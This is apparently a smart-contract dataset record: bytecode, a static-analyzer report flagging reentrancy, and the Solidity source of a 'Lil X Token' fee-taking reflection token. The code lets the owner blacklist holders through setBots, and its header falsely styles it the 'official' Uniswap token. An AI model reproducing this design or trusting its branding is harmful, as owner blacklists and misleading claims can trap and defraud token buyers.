ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d8d81611fe5565b611d9784836120a2565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611df49190612a67565b60405180910390a3505050505050505050565b60008083118290611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e459190612905565b60405180910390fd5b5060008385611e5d9190612bf3565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce80000009050611ea66b033b2e3c9fd0803ce8000000600854611bc790919063ffffffff16565b821015611ec8576008546b033b2e3c9fd0803ce8000000935093505050611ed1565b81819350935050505b9091565b6000806000806000806000806000611ef28a600a54600b546120dc565b9250925092506000611f02611c11565b90506000806000611f158e878787612172565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611f7f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611762565b905092915050565b6000808284611f969190612b9d565b905083811015611fdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd290612987565b60405180910390fd5b8091505092915050565b6000611fef611c11565b9050600061200682846121fb90919063ffffffff16565b905061205a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f8790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6120b782600854611f3d90919063ffffffff16565b6008819055506120d281600954611f8790919063ffffffff16565b6009819055505050565b60008060008061210860646120fa888a6121fb90919063ffffffff16565b611bc790919063ffffffff16565b905060006121326064612124888b6121fb90919063ffffffff16565b611bc790919063ffffffff16565b9050600061215b8261214d858c611f3d90919063ffffffff16565b611f3d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061218b85896121fb90919063ffffffff16565b905060006121a286896121fb90919063ffffffff16565b905060006121b987896121fb90919063ffffffff16565b905060006121e2826121d48587611f3d90919063ffffffff16565b611f3d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561220e5760009050612270565b6000828461221c9190612c24565b905082848261222b9190612bf3565b1461226b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612262906129a7565b60405180910390fd5b809150505b92915050565b600061228961228484612b1c565b612af7565b905080838252602082019050828560208602820111156122ac576122ab612e87565b5b60005b858110156122dc57816122c288826122e6565b8452602084019350602083019250506001810190506122af565b5050509392505050565b6000813590506122f58161314b565b92915050565b60008151905061230a8161314b565b92915050565b600082601f83011261232557612324612e82565b5b8135612335848260208601612276565b91505092915050565b60008135905061234d81613162565b92915050565b60008151905061236281613162565b92915050565b60008135905061237781613179565b92915050565b60008151905061238c81613179565b92915050565b6000602082840312156123a8576123a7612e91565b5b60006123b6848285016122e6565b91505092915050565b6000602082840312156123d5576123d4612e91565b5b60006123e3848285016122fb565b91505092915050565b6000806040838503121561240357612402612e91565b5b6000612411858286016122e6565b9250506020612422858286016122e6565b9150509250929050565b60008060006060848603121561244557612444612e91565b5b6000612453868287016122e6565b9350506020612464868287016122e6565b925050604061247586828701612368565b9150509250925092565b6000806040838503121561249657612495612e91565b5b60006124a4858286016122e6565b92505060206124b585828601612368565b9150509250929050565b6000602082840312156124d5576124d4612e91565b5b600082013567ffffffffffffffff8111156124f3576124f2612e8c565b5b6124ff84828501612310565b91505092915050565b60006020828403121561251e5761251d612e91565b5b600061252c8482850161233e565b91505092915050565b60006020828403121561254b5761254a612e91565b5b600061255984828501612353565b91505092915050565b60008060006060848603121561257b5761257a612e91565b5b60006125898682870161237d565b935050602061259a8682870161237d565b92505060406125ab8682870161237d565b9150509250925092565b60006125c183836125cd565b60208301905092915050565b6125d681612cb2565b82525050565b6125e581612cb2565b82525050565b60006125f682612b58565b6126008185612b7b565b935061260b83612b48565b8060005b8381101561263c57815161262388826125b5565b975061262e83612b6e565b92505060018101905061260f565b5085935050505092915050565b61265281612cc4565b82525050565b61266181612d07565b82525050565b600061267282612b63565b61267c8185612b8c565b935061268c818560208601612d19565b61269581612e96565b840191505092915050565b60006126ad602383612b8c565b91506126b882612ea7565b604082019050919050565b60006126d0602a83612b8c565b91506126db82612ef6565b604082019050919050565b60006126f3602283612b8c565b91506126fe82612f45565b604082019050919050565b6000612716601b83612b8c565b915061272182612f94565b602082019050919050565b6000612739602183612b8c565b915061274482612fbd565b604082019050919050565b600061275c602083612b8c565b91506127678261300c565b602082019050919050565b600061277f602983612b8c565b915061278a82613035565b604082019050919050565b60006127a2602583612b8c565b91506127ad82613084565b604082019050919050565b60006127c5602483612b8c565b91506127d0826130d3565b604082019050919050565b60006127e8601783612b8c565b91506127f382613122565b602082019050919050565b61280781612cf0565b82525050565b61281681612cfa565b82525050565b600060208201905061283160008301846125dc565b92915050565b600060408201905061284c60008301856125dc565b61285960208301846125dc565b9392505050565b600060408201905061287560008301856125dc565b61288260208301846127fe565b9392505050565b600060c08201905061289e60008301896125dc565b6128ab60208301886127fe565b6128b86040830187612658565b6128c56060830186612658565b6128d260808301856125dc565b6128df60a08301846127fe565b979650505050505050565b60006020820190506128ff6000830184612649565b92915050565b6000602082019050818103600083015261291f8184612667565b905092915050565b60006020820190508181036000830152612940816126a0565b9050919050565b60006020820190508181036000830152612960816126c3565b9050919050565b60006020820190508181036000830152612980816126e6565b9050919050565b600060208201905081810360008301526129a081612709565b9050919050565b600060208201905081810360008301526129c08161272c565b9050919050565b600060208201905081810360008301526129e08161274f565b9050919050565b60006020820190508181036000830152612a0081612772565b9050919050565b60006020820190508181036000830152612a2081612795565b9050919050565b60006020820190508181036000830152612a40816127b8565b9050919050565b60006020820190508181036000830152612a60816127db565b9050919050565b6000602082019050612a7c60008301846127fe565b92915050565b600060a082019050612a9760008301886127fe565b612aa46020830187612658565b8181036040830152612ab681866125eb565b9050612ac560608301856125dc565b612ad260808301846127fe565b9695505050505050565b6000602082019050612af1600083018461280d565b92915050565b6000612b01612b12565b9050612b0d8282612d4c565b919050565b6000604051905090565b600067ffffffffffffffff821115612b3757612b36612e53565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612ba882612cf0565b9150612bb383612cf0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612be857612be7612dc6565b5b828201905092915050565b6000612bfe82612cf0565b9150612c0983612cf0565b925082612c1957612c18612df5565b5b828204905092915050565b6000612c2f82612cf0565b9150612c3a83612cf0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612c7357612c72612dc6565b5b828202905092915050565b6000612c8982612cf0565b9150612c9483612cf0565b925082821015612ca757612ca6612dc6565b5b828203905092915050565b6000612cbd82612cd0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d1282612cf0565b9050919050565b60005b83811015612d37578082015181840152602081019050612d1c565b83811115612d46576000848401525b50505050565b612d5582612e96565b810181811067ffffffffffffffff82111715612d7457612d73612e53565b5b80604052505050565b6000612d8882612cf0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612dbb57612dba612dc6565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61315481612cb2565b811461315f57600080fd5b50565b61316b81612cc4565b811461317657600080fd5b50565b61318281612cf0565b811461318d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220268380e313c368a880ee2b897bd360ff6dbe3c7f954f78265d8baed5d04dbea964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,212 |
0xa93298e236725fe282d2ffc575dfb4819e2a9375
|
/**
The OFFICIAL Lil X token of UniSwap!
telegram: https://t.me/LilxERC
https://twitter.com/elonmusk/status/1415423461267107842
*/
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract LilXToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string public constant _name = "Lil X Token";
string public constant _symbol = "LIL";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000* 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c6565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611975565b6040518082815260200191505060405180910390f35b60606040518060400160405280600b81526020017f4c696c205820546f6b656e000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fc565b8484611a04565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfb565b61098a846108d56119fc565b61098585604051806060016040528060288152602001613ee860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b611a04565b600190509392505050565b61099d6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fc565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c1581612